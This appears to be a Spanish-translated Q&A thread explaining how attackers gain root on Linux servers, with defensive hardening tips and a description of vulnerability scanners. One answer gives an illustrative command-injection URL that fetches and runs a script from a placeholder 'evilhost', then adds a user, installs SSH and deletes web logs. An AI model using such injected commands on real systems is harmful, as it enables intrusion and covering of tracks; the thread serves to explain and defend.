No, no estoy buscando convertirme en un cracker o algo así, sino que estoy tratando de descubrir el proceso (más desde una perspectiva de programación).
Así que supongo (adivinar) que el objetivo principal de un cracker es obtener acceso de root para instalar cualquier software (o script) que haya escrito, ¿verdad? o tal vez instalando su propio módulo kernal (eso es desviado por cualquier razón) ¿Cómo hace exactamente una persona para hacer esto?
Sé que las personas usan secuencias de comandos para buscar vulnerabilidades ... pero no veo cómo, y tampoco veo exactamente qué hacen con ellas una vez que las encuentran. ¿Están verificando versiones de exploits conocidos ... y luego una vez que encuentran uno .......
Sé que todo esto suena muy nuevo. pero solo estoy tratando de tener una idea de cómo funciona, ya que sé que los sistemas Linux / Unix se supone que son muy seguros, pero estoy tratando de descubrir cómo alguien podría lograr el proceso de acceso a la raíz.
El factor más importante es el tipo de acceso que tiene el atacante. Si tienen acceso físico, estás jodido. Si solo le preocupa el acceso remoto, entonces depende de lo que esté ejecutando; La buena configuración lo es todo. Un servidor Linux estándar probablemente estaría ejecutando ftp, ssh, http, https y mysql. SSH es seguro, pero no permitiría los inicios de sesión de root, y una buena contraseña en cada cuenta es imprescindible. FTP es impredecible. Si tienes VSFTP y corroboras a tus usuarios, entonces es muy seguro. Varias otras versiones tienen vulnerabilidades conocidas. HTTP probablemente será su área más vulnerable. Su mayor preocupación aquí es cualquier cosa que ejecute archivos en el sistema o cargue archivos en el sistema. La inyección de SQL es MUY difícil si su sitio web está hecho en PHP5. Un grupo de estudiantes de seguridad y yo probamos las inyecciones de SQL en un sitio web PHP5 no desinfectado durante semanas y no tuvimos éxito. Con MySQL, asegúrese de utilizar un usuario no root y restringirlo para que solo inicie sesión desde su servidor Apache.
Hay un par de complementos de Firefox para probar las vulnerabilidades del sitio web: acceder a mí, xss me y sql me inyectan
Algunas cosas importantes que siempre haría en las competiciones para garantizar la seguridad sería correr:
netstat
- comprobar puertos abiertos y conexiones,w
- quién inició sesión, cuánto tiempo,ps
- ejecutar comandos,/etc/passwd
para usuarios adicionales/etc/sudoers
para acceso a sudo.Normalmente, después de obtener acceso, un atacante quiere obtener root. Actualmente existen algunas vulnerabilidades de escalada de privilegios que permitirían a un usuario normal obtener root. Después de eso, quieren abrirlo para un acceso posterior agregando usuarios y abriendo puertas traseras.
Aquí está el sitio web de defensa cibernética de mi escuela. Siéntase libre de mirar alrededor y hacer algunas preguntas: https://thislink.doesntexist.org/
fuente
La seguridad de un sistema depende de las habilidades de los administradores, por lo que es un poco incorrecto decir "Se supone que los sistemas Linux / Unix son muy seguros" :)
Ahora vamos a hackear ... Hay un tipo de herramientas llamadas " escáner de vulnerabilidad " como Nessus que busca cosas para ser explotadas. Hay miles de cosas que pueden salir mal en un sistema complejo, como un servidor Apache mal configurado para permitir la carga de archivos arbitrarios en lugares arbitrarios. Esos pueden servir como un trampolín para nuevas hazañas, como obtener acceso a una base de datos o una cuenta de correo electrónico desde la cual se pueden restaurar las contraseñas a través de la función "olvidar contraseña".
A veces, un truco es obtener acceso y hacer algo malvado. A veces las personas lo hacen por diversión (lo cual es tonto, por cierto).
Y, aquí hay una historia de un famoso hack que sucedió hace poco. ¡Creo que será ilustrativo para cualquiera que esté mirando la seguridad! Para citar un resumen de exploits:
fuente
Hay tantos vectores de ataque que son casi infinitos. Una de las más simples conceptualmente es hacer que un programa esté disponible públicamente, y decir que hace algo diferente de lo que realmente hace. Dé a los usuarios instrucciones amigables con un
sudo
al comienzo, y vea cómo el mundo se dispara. Esto sucede todos los días con programas de código cerrado, ya que no es factible que una sola persona inspeccione su funcionamiento de antemano, como se ve con, por ejemplo, los CD de Sony .También puede intentar enviar cadenas especiales a un host remoto. Para un ejemplo de alto nivel, supongamos que tiene un servidor web con algún software ejecutándose en él, y ese software ejecuta parte de la URL como un comando sin escapar o de otra manera asegurando que no pueda causar ningún daño. Enviar algo así
http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh
. Decodificado, la cadena de búsqueda se convierte . Si se ejecuta, script.sh se ejecutará con los mismos derechos de acceso que el usuario del servidor web para hacer cualquier cosa en la máquina. A veces, las personas dejan que estos funcionen como raíz para la "conveniencia", en este caso un sinónimo de pereza y / o falta de idea. Incluso si no se ejecuta como root, ese script podría ejecutar miles de pruebas para otros agujeros en el software instalado y ejecutar otro comando si encuentra uno. Ese último comando podría ser, por ejemplo,foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh
useradd blabla; apt-get install openssh; rm /var/log/apache.log
, para obtener acceso SSH y eliminar rastros del robo.[los comandos obviamente fueron simplificados y probablemente no funcionarían de todos modos. YMMV]
fuente